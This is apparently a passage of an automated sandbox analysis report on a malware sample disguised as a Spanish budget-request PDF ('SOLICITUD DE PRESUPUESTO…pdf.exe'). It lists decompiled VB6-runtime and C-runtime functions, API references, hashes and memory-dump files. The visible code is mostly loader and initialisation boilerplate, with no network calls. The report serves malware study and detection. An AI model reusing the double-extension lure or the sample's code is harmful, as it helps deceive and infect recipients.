				return _t40;
			}

0x00414311
0x00414320
0x0041432a
0x00414332
0x00414335
0x0041433c
0x0041434b
0x00414354
0x00414360
0x0041437a
0x00414362
0x00414362
0x00414367
0x0041436c
0x00414371
0x00414371
0x00414395
0x00414399
0x0041439e
0x004143a9
0x004143af
0x004143b1
0x004143b8
0x004143d4
0x004143ba
0x004143ba
0x004143bf
0x004143c4
0x004143c7
0x004143ca
0x004143cf
0x004143cf
0x004143db
0x004143e6
0x004143e9
0x004143ea
0x004143fd
0x00414402

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 0041432A
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00414354
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 0041436C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00414399
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001BC), ref: 004143CA
__vbaFreeObj.MSVBVM60 ref: 004143DB
__vbaFreeStr.MSVBVM60(00414403), ref: 004143FD

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkCopyHresultNew2
String ID:
API String ID: 2810356740-0
Opcode ID: 7359f71f3d187615599cbd0be5a63a494fce28b452e66db4087f3d82b2f6f883
Instruction ID: 3412d5908701a4b364ad1c8ac582ab9db695955fef047059ba96097ca09539a5
Opcode Fuzzy Hash: 7359f71f3d187615599cbd0be5a63a494fce28b452e66db4087f3d82b2f6f883
Instruction Fuzzy Hash: 8621F974A00208AFCB00EFA5D895BDDBFB4BB48714F14456AF511B72A1CB795885CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004159DA, Relevance: 10.6, APIs: 7, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E004159DA(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v56;
				signed int _v60;
				char* _t37;
				signed int _t40;
				void* _t51;
				void* _t53;
				intOrPtr _t54;

				_t54 = _t53 - 0xc;
				 *[fs:0x0] = _t54;
				L004014B0();
				_v16 = _t54;
				_v12 = 0x4012d0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x24,  *[fs:0x0], 0x4014b6, _t51);
				L00401684();
				if( *0x419010 != 0) {
					_v56 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v56 = 0x419010;
				}
				_t37 =  &_v36;
				L0040169C();
				_v40 = _t37;
				_t40 =  *((intOrPtr*)( *_v40 + 0x184))(_v40, _t37,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x308))( *_v56));
				asm("fclex");
				_v44 = _t40;
				if(_v44 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x184);
					_push(0x4113bc);
					_push(_v40);
					_push(_v44);
					L00401690();
					_v60 = _t40;
				}
				L0040168A();
				_v32 =  *0x4012c8;
				asm("wait");
				_push(0x415acf);
				L0040165A();
				return _t40;
			}

0x004159dd
0x004159ec
0x004159f6
0x004159fe
0x00415a01
0x00415a08
0x00415a17
0x00415a20
0x00415a2c
0x00415a46
0x00415a2e
0x00415a2e
0x00415a33
0x00415a38
0x00415a3d
0x00415a3d
0x00415a61
0x00415a65
0x00415a6a
0x00415a75
0x00415a7b
0x00415a7d
0x00415a84
0x00415aa0
0x00415a86
0x00415a86
0x00415a8b
0x00415a90
0x00415a93
0x00415a96
0x00415a9b
0x00415a9b
0x00415aa7
0x00415ab2
0x00415ab5
0x00415ab6
0x00415ac9
0x00415ace

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 004159F6
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00415A20
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00415A38
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415A65
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000184), ref: 00415A96
__vbaFreeObj.MSVBVM60 ref: 00415AA7
__vbaFreeStr.MSVBVM60(00415ACF), ref: 00415AC9

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkCopyHresultNew2
String ID:
API String ID: 2810356740-0
Opcode ID: dcee62bb8aae451d0440f350a84fbb824c7c6c3987909ad9e132316ce38cb798
Instruction ID: a61f8b25da53bcde4b2cb40423201cdb3171037f1913bbf2908a59e9b806f5be
Opcode Fuzzy Hash: dcee62bb8aae451d0440f350a84fbb824c7c6c3987909ad9e132316ce38cb798
Instruction Fuzzy Hash: 4B212774940208EFCB00EF94C999BDDBBB9BF48744F24456AF501B72A1CB799980CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00416B0D, Relevance: 7.6, APIs: 5, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00416B0D(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				char _v28;
				intOrPtr* _v32;
				signed int _v36;
				intOrPtr* _v44;
				signed int _v48;
				char* _t27;
				signed int _t30;
				intOrPtr _t41;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t41;
				_push(0x1c);
				L004014B0();
				_v12 = _t41;
				_v8 = 0x401360;
				if( *0x419010 != 0) {
					_v44 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v44 = 0x419010;
				}
				_t27 =  &_v28;
				L0040169C();
				_v32 = _t27;
				_t30 =  *((intOrPtr*)( *_v32 + 0x1d4))(_v32, _t27,  *((intOrPtr*)( *((intOrPtr*)( *_v44)) + 0x374))( *_v44));
				asm("fclex");
				_v36 = _t30;
				if(_v36 >= 0) {
					_v48 = _v48 & 0x00000000;
				} else {
					_push(0x1d4);
					_push(0x4113ac);
					_push(_v32);
					_push(_v36);
					L00401690();
					_v48 = _t30;
				}
				L0040168A();
				_v24 =  *0x401358;
				asm("wait");
				_push(0x416bdc);
				return _t30;
			}

0x00416b12
0x00416b1d
0x00416b1e
0x00416b25
0x00416b28
0x00416b30
0x00416b33
0x00416b41
0x00416b5b
0x00416b43
0x00416b43
0x00416b48
0x00416b4d
0x00416b52
0x00416b52
0x00416b76
0x00416b7a
0x00416b7f
0x00416b8a
0x00416b90
0x00416b92
0x00416b99
0x00416bb5
0x00416b9b
0x00416b9b
0x00416ba0
0x00416ba5
0x00416ba8
0x00416bab
0x00416bb0
0x00416bb0
0x00416bbc
0x00416bc7
0x00416bca
0x00416bcb
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00416B28
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00416B4D
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,004014B6), ref: 00416B7A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,000001D4,?,?,?,?,?,?,?,004014B6), ref: 00416BAB
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,004014B6), ref: 00416BBC

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2
String ID:
API String ID: 4127847336-0
Opcode ID: 7034bd1fbe98529711700412e5f48c57738771208dc822e8aa5eddbe1ec5f50c
Instruction ID: 1e26841ed3f17b7d347c37ba03e52726efe5d23fee25d608bbcac344a9ff8b72
Opcode Fuzzy Hash: 7034bd1fbe98529711700412e5f48c57738771208dc822e8aa5eddbe1ec5f50c
Instruction Fuzzy Hash: B221F9B0900218EFDB00DFA5C855BEEBBB8FB08714F15446AE501B72A0C77D6880DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00413B04, Relevance: 7.6, APIs: 5, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00413B04(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				intOrPtr* _v28;
				signed int _v32;
				intOrPtr* _v40;
				signed int _v44;
				char* _t26;
				signed int _t29;
				intOrPtr _t40;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t40;
				_push(0x18);
				L004014B0();
				_v12 = _t40;
				_v8 = 0x401160;
				if( *0x419010 != 0) {
					_v40 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v40 = 0x419010;
				}
				_t26 =  &_v24;
				L0040169C();
				_v28 = _t26;
				_t29 =  *((intOrPtr*)( *_v28 + 0x1ec))(_v28, _t26,  *((intOrPtr*)( *((intOrPtr*)( *_v40)) + 0x33c))( *_v40));
				asm("fclex");
				_v32 = _t29;
				if(_v32 >= 0) {
					_v44 = _v44 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x411324);
					_push(_v28);
					_push(_v32);
					L00401690();
					_v44 = _t29;
				}
				L0040168A();
				_push(0x413bc9);
				return _t29;
			}

0x00413b09
0x00413b14
0x00413b15
0x00413b1c
0x00413b1f
0x00413b27
0x00413b2a
0x00413b38
0x00413b52
0x00413b3a
0x00413b3a
0x00413b3f
0x00413b44
0x00413b49
0x00413b49
0x00413b6d
0x00413b71
0x00413b76
0x00413b81
0x00413b87
0x00413b89
0x00413b90
0x00413bac
0x00413b92
0x00413b92
0x00413b97
0x00413b9c
0x00413b9f
0x00413ba2
0x00413ba7
0x00413ba7
0x00413bb3
0x00413bb8
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00413B1F
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00413B44
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,004014B6), ref: 00413B71
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411324,000001EC,?,?,?,?,?,?,004014B6), ref: 00413BA2
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,004014B6), ref: 00413BB3

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2
String ID:
API String ID: 4127847336-0
Opcode ID: 9d6919362d2eca356bd44e55ef7c717b87fe89598f4c8abb27f7c4be74583684
Instruction ID: 5392bee785bb50d93a3dc52a77d0b9b48e8b60d2ebacaaa0563cd3fc60bd0afc
Opcode Fuzzy Hash: 9d6919362d2eca356bd44e55ef7c717b87fe89598f4c8abb27f7c4be74583684
Instruction Fuzzy Hash: 32110070900208EFCB00DF91C856FEE7BF8EB08715F20446AF101B72A1D7796A81DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00413BDC, Relevance: 7.6, APIs: 5, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00413BDC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				intOrPtr* _v28;
				signed int _v32;
				intOrPtr* _v40;
				signed int _v44;
				char* _t26;
				signed int _t29;
				intOrPtr _t40;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t40;
				_push(0x18);
				L004014B0();
				_v12 = _t40;
				_v8 = 0x401170;
				if( *0x419010 != 0) {
					_v40 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v40 = 0x419010;
				}
				_t26 =  &_v24;
				L0040169C();
				_v28 = _t26;
				_t29 =  *((intOrPtr*)( *_v28 + 0x1d0))(_v28, _t26,  *((intOrPtr*)( *((intOrPtr*)( *_v40)) + 0x344))( *_v40));
				asm("fclex");
				_v32 = _t29;
				if(_v32 >= 0) {
					_v44 = _v44 & 0x00000000;
				} else {
					_push(0x1d0);
					_push(0x411334);
					_push(_v28);
					_push(_v32);
					L00401690();
					_v44 = _t29;
				}
				L0040168A();
				_push(0x413ca1);
				return _t29;
			}

0x00413be1
0x00413bec
0x00413bed
0x00413bf4
0x00413bf7
0x00413bff
0x00413c02
0x00413c10
0x00413c2a
0x00413c12
0x00413c12
0x00413c17
0x00413c1c
0x00413c21
0x00413c21
0x00413c45
0x00413c49
0x00413c4e
0x00413c59
0x00413c5f
0x00413c61
0x00413c68
0x00413c84
0x00413c6a
0x00413c6a
0x00413c6f
0x00413c74
0x00413c77
0x00413c7a
0x00413c7f
0x00413c7f
0x00413c8b
0x00413c90
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00413BF7
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00413C1C
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,004014B6), ref: 00413C49
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411334,000001D0,?,?,?,?,?,?,004014B6), ref: 00413C7A
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,004014B6), ref: 00413C8B

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2
String ID:
API String ID: 4127847336-0
Opcode ID: 59c51f4ffe91db0d3e5d7759d281db22536a76fb6501f67d72bfc8624b726b3b
Instruction ID: 6e74a487bf9d26bddb41e754e53bac24026982bf9de53b13f02debb43b9c3c57
Opcode Fuzzy Hash: 59c51f4ffe91db0d3e5d7759d281db22536a76fb6501f67d72bfc8624b726b3b
Instruction Fuzzy Hash: 4A110A75940208AFDB00DF95C946FEEBBB8FB08705F20446AF101B72A0D7795A81DBA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516 Parent PID: 1688 SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exeCOMMON

Executed Functions

Function 6D86B95E, Relevance: 3.1, APIs: 2, Instructions: 69
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D86B95E() {
				long _v8;
				long _v12;
				int _v16;
				long _t19;
				signed int _t26;
				intOrPtr _t30;
				signed int _t35;
				signed int _t36;
				intOrPtr _t37;
				intOrPtr _t38;

				_v12 = _v12 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				GetSystemTimeAdjustment( &_v12,  &_v8,  &_v16); // executed
				_t19 = _v8;
				_t37 =  *0x6d880014; // 0x0
				_t38 =  *0x6d880010; // 0x20b4a7
				_t20 =  ==  ? 0x26161 : _t19;
				_t21 = ( ==  ? 0x26161 : _t19) - 1;
				_t35 = (( ==  ? 0x26161 : _t19) - 1) % 0x2710;
				_t26 = E6D877DA0(E6D877E50(((( ==  ? 0x26161 : _t19) - 1) / 0x2710 + 1) * 0x2710, 0, _t38, _t37), _t35, 0x2710, 0);
				_t36 = (_t35 << 0x00000020 | _t26) << 2;
				 *0x6d880378 = _t26 << 2;
				 *0x6d88037c = _t36;
				 *0x6d880380 = E6D877E50(_t38, _t37, 0x7d0, 0);
				 *0x6d880384 = _t36;
				 *0x6d880388 = E6D877E50(_t38, _t37, 0x1388, 0);
				 *0x6d88038c = _t36;
				_t30 = E6D877E50(_t38, _t37, 0x32, 0);
				 *0x6d880390 = _t30;
				 *0x6d880394 = _t36;
				return _t30;
			}

0x6d86b964
0x6d86b96b
0x6d86b97b
0x6d86b981
0x6d86b98b
0x6d86b996
0x6d86b99c
0x6d86b9a1
0x6d86b9a2
0x6d86b9ba
0x6d86b9c2
0x6d86b9d0
0x6d86b9d5
0x6d86b9e8
0x6d86b9ed
0x6d86b9fd
0x6d86ba02
0x6d86ba08
0x6d86ba0f
0x6d86ba14
0x6d86ba1e

APIs

GetSystemTimeAdjustment.KERNEL32(00000000,00000000,?,?,?,00000000), ref: 6D86B97B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D86B9BA

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustmentSystemTimeUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3504748728-0
Opcode ID: e44ad3dad347a7dd4915ac87d2fee5ab2690d24bf9b10cfedb56d6bd184f2c32
Instruction ID: 9a8e15e27b3dcd4618d524e910c2c19f13579aa2e8c569d4ef7ed9ad9d56028d
Opcode Fuzzy Hash: e44ad3dad347a7dd4915ac87d2fee5ab2690d24bf9b10cfedb56d6bd184f2c32
Instruction Fuzzy Hash: 861130B5905308BFEB20CB6A8C8DF5B37BCEB8BB05F00446AB604E6140D7745D14D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D877664, Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 86
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6D877664(void* __ebx, void* __edx, _Unknown_base(*)()* __edi, void* __esi) {
				struct HINSTANCE__* _t1;
				void* _t6;
				void* _t8;
				struct HINSTANCE__* _t12;
				intOrPtr* _t14;
				void* _t19;
				struct HINSTANCE__* _t23;

				_t20 = __edi;
				_t19 = __edx;
				_push(__edi);
				_push(0);
				_push(0xfa0);
				_push(0x6d880b6c);
				L6D8787F0();
				_t1 = GetModuleHandleW(L"api-ms-win-core-synch-l1-2-0.dll"); // executed
				_t23 = _t1;
				if(_t23 != 0) {
					L2:
					_t14 = GetProcAddress(_t23, "InitializeConditionVariable");
					_t20 = GetProcAddress(_t23, "SleepConditionVariableCS");
					_t24 = GetProcAddress(_t23, "WakeAllConditionVariable");
					if(_t14 == 0 || _t20 == 0 || _t24 == 0) {
						_t6 = CreateEventW(0, 1, 0, 0);
						 *0x6d880b88 = _t6;
						if(_t6 == 0) {
							goto L8;
						} else {
							goto L7;
						}
					} else {
						 *0x6d880b88 =  *0x6d880b88 & 0x00000000;
						L6D878321();
						 *_t14(0x6d880b84);
						 *0x6d880b8c = E6D877647(_t20);
						_t6 = E6D877647(_t24);
						 *0x6d880b90 = _t6;
						L7:
						return _t6;
					}
				} else {
					_t12 = GetModuleHandleW(L"kernel32.dll");
					_t24 = _t12;
					if(_t12 == 0) {
						L8:
						E6D8784D6(_t19, _t20, _t24, 7);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						DeleteCriticalSection(0x6d880b6c);
						_t8 =  *0x6d880b88; // 0x0
						if(_t8 != 0) {
							return CloseHandle(_t8);
						}
						return _t8;
					} else {
						goto L2;
					}
				}
			}

0x6d877664
0x6d877664
0x6d877666
0x6d877667
0x6d877669
0x6d87766e
0x6d877673
0x6d877680
0x6d877686
0x6d87768a
0x6d87769d
0x6d8776af
0x6d8776bd
0x6d8776c5
0x6d8776c9
0x6d877709
0x6d87770f
0x6d877716
0x00000000
0x00000000
0x00000000
0x00000000
0x6d8776d3
0x6d8776d3
0x6d8776e1
0x6d8776e6
0x6d8776ef
0x6d8776f4
0x6d8776fb
0x6d877718
0x6d87771b
0x6d87771b
0x6d87768c
0x6d877691
0x6d877697
0x6d87769b
0x6d87771c
0x6d87771e
0x6d877723
0x6d877724
0x6d877725
0x6d877726
0x6d877727
0x6d877728
0x6d877729
0x6d87772a
0x6d87772b
0x6d87772c
0x6d87772d
0x6d87772e
0x6d87772f
0x6d877735
0x6d87773b
0x6d877742
0x00000000
0x6d877745
0x6d87774b
0x00000000
0x00000000
0x00000000
0x6d87769b

APIs

__vcrt_InitializeCriticalSectionEx.VCRUNTIME140(6D880B6C,00000FA0,00000000,?,?,?,6D877625), ref: 6D877673
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll), ref: 6D877680
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6D877691
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 6D8776A3
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 6D8776B1
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 6D8776BF
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 6D8776E9
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 6D8776F4
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 6D877709
___scrt_fastfail.LIBCMT ref: 6D87771E
DeleteCriticalSection.KERNEL32(6D880B6C,00000007), ref: 6D877735
CloseHandle.KERNEL32(00000000), ref: 6D877745

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 6D87767B
WakeAllConditionVariable, xrefs: 6D8776B7
InitializeConditionVariable, xrefs: 6D87769D
kernel32.dll, xrefs: 6D87768C
SleepConditionVariableCS, xrefs: 6D8776A9

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleProc$CriticalModuleSection__crt_fast_encode_pointer$CloseCreateDeleteEventInitialize___scrt_fastfail__vcrt_
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3347451552-1714406822
Opcode ID: fc080101cb5c16701ef9c2dbf92370fe0440b76604c24b0c530d6f8a747dcf0c
Instruction ID: c3f98520f56ae7eb4bd5e594201d13b5ea86d4edf3d4fbee7d720dc4c7278f0a
Opcode Fuzzy Hash: fc080101cb5c16701ef9c2dbf92370fe0440b76604c24b0c530d6f8a747dcf0c
Instruction Fuzzy Hash: FE118EB6D157226BDF3126B94C4CB7E26B8EB4B7A6B020C25FA15D3241DB60D800D6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6D878043, Relevance: 10.6, APIs: 7, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D878043(void* __edx, void* __edi, void* __esi, void* __eflags) {
				char _t12;
				char _t19;
				char _t23;
				char _t24;
				char _t26;
				void* _t34;
				intOrPtr* _t37;
				void* _t39;

				_t34 = __edx;
				E6D878600(0x6d87be10, 0x10);
				if(E6D877212(0) != 0) {
					 *((char*)(_t39 - 0x1d)) = E6D877115();
					_t26 = 1;
					 *((char*)(_t39 - 0x19)) = 1;
					 *(_t39 - 4) =  *(_t39 - 4) & 0x00000000;
					__eflags =  *0x6d88082c;
					if(__eflags != 0) {
						E6D8784D6(_t34, __edi, __esi, 7);
					}
					 *0x6d88082c = 1;
					_t12 = E6D877175(__eflags);
					__eflags = _t12;
					if(_t12 != 0) {
						E6D87871F(E6D878760());
						_t23 = E6D87873D();
						_push(0x6d879340);
						_push(0x6d879338); // executed
						L6D878844(); // executed
						__eflags = _t23;
						if(_t23 == 0) {
							_t24 = E6D87714A();
							__eflags = _t24;
							if(_t24 != 0) {
								_push(0x6d879334);
								_push(0x6d8792f8); // executed
								L6D87883E(); // executed
								 *0x6d88082c = 2;
								_t26 = 0;
								__eflags = 0;
								 *((char*)(_t39 - 0x19)) = 0;
							}
						}
					}
					 *(_t39 - 4) = 0xfffffffe;
					E6D878133();
					__eflags = _t26;
					if(_t26 != 0) {
						goto L1;
					} else {
						_t37 = E6D87875A();
						__eflags =  *_t37;
						if(__eflags != 0) {
							_push(_t37);
							_t19 = E6D8772F5(__eflags);
							__eflags = _t19;
							if(_t19 != 0) {
								L6D878321();
								 *((intOrPtr*)( *_t37))( *((intOrPtr*)(_t39 + 8)), 2,  *((intOrPtr*)(_t39 + 0xc)));
							}
						}
						 *0x6d880b98 =  *0x6d880b98 + 1;
						__eflags = 1;
						L13:
						return E6D878646();
					}
				}
				L1:
				goto L13;
			}

0x6d878043
0x6d87804a
0x6d878059
0x6d878067
0x6d87806a
0x6d87806c
0x6d87806f
0x6d878073
0x6d87807a
0x6d87807e
0x6d87807e
0x6d878083
0x6d87808d
0x6d878092
0x6d878094
0x6d87809b
0x6d8780a0
0x6d8780a5
0x6d8780aa
0x6d8780af
0x6d8780b6
0x6d8780b8
0x6d8780ba
0x6d8780bf
0x6d8780c1
0x6d8780c3
0x6d8780c8
0x6d8780cd
0x6d8780d4
0x6d8780de
0x6d8780de
0x6d8780e0
0x6d8780e0
0x6d8780c1
0x6d8780b8
0x6d8780e3
0x6d8780ea
0x6d8780ef
0x6d8780f1
0x00000000
0x6d8780f7
0x6d8780fc
0x6d8780fe
0x6d878101
0x6d878103
0x6d878104
0x6d87810a
0x6d87810c
0x6d87811a
0x6d87811f
0x6d87811f
0x6d87810c
0x6d878121
0x6d878129
0x6d87812a
0x6d87812f
0x6d87812f
0x6d8780f1
0x6d87805b
0x00000000

APIs

___scrt_fastfail.LIBCMT ref: 6D87807E
__RTC_Initialize.LIBCMT ref: 6D878096
___scrt_initialize_default_local_stdio_options.LIBCMT ref: 6D8780A0
_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D879338,6D879340,6D87BE10,00000010,6D87802B,?,?,?,6D87821D,?,00000001,?,?,00000001,?,6D87BE50), ref: 6D8780AF
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D8792F8,6D879334,6D87BE10,00000010,6D87802B,?,?,?,6D87821D,?,00000001,?,?,00000001,?,6D87BE50), ref: 6D8780CD
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6D878104

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_fastfail___scrt_initialize_default_local_stdio_options___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 817586116-0
Opcode ID: 3bff0ed1c2f07caf7cfcc25e946945c20c82154b21a6dc7d368d47e125f8489a
Instruction ID: ef0ab1270fd44286b8e3e1976dfaa949928017f205c3985f3c7b0eee7d64fbdd
Opcode Fuzzy Hash: 3bff0ed1c2f07caf7cfcc25e946945c20c82154b21a6dc7d368d47e125f8489a
Instruction Fuzzy Hash: 6611B63164D206AADF306BBD8C0C7BC37719F1635DF124C58E6952B1C2DB315181D6A6

Uniqueness

Uniqueness Score: -1.00%

Function 6D86BB40, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6D86BB40(void* __ecx, void* __edi) {
				intOrPtr _v8;
				union _LARGE_INTEGER _v12;
				void* __ebx;
				void* __esi;
				void* _t8;
				char _t13;
				void* _t18;
				char _t22;
				void* _t25;
				void* _t26;
				char* _t27;
				void* _t28;
				char* _t29;

				_t28 = __edi;
				_push(__ecx);
				_push(__ecx);
				if( *0x6d8803c8 == 0) {
					 *0x6d8803c8 = 1;
					InitializeCriticalSectionAndSpinCount(0x6d880398, 0x1000);
					_t22 = 0;
					_t27 = getenv("MOZ_TIMESTAMP_MODE");
					_t25 = _t29;
					if(_t27 == 0) {
						L6:
						if(QueryPerformanceFrequency( &_v12) == 0) {
							L11:
							_t13 = 0;
							L12:
							 *0x6d880018 = _t13;
							if( *0x6d880018 == 0) {
								L17:
								return E6D86B866(_t25, _t27);
							}
							if(_t22 != 0) {
								L15:
								 *0x6d8803b0 = 1;
								L16:
								 *0x6d880010 = _v12.LowPart;
								 *0x6d880014 = _v8; // executed
								E6D86B95E(); // executed
								goto L17;
							}
							_t18 = E6D86B7B8(_t22, _t27, _t28, _t29);
							 *0x6d8803b0 = _t22;
							if(_t18 == 0) {
								goto L16;
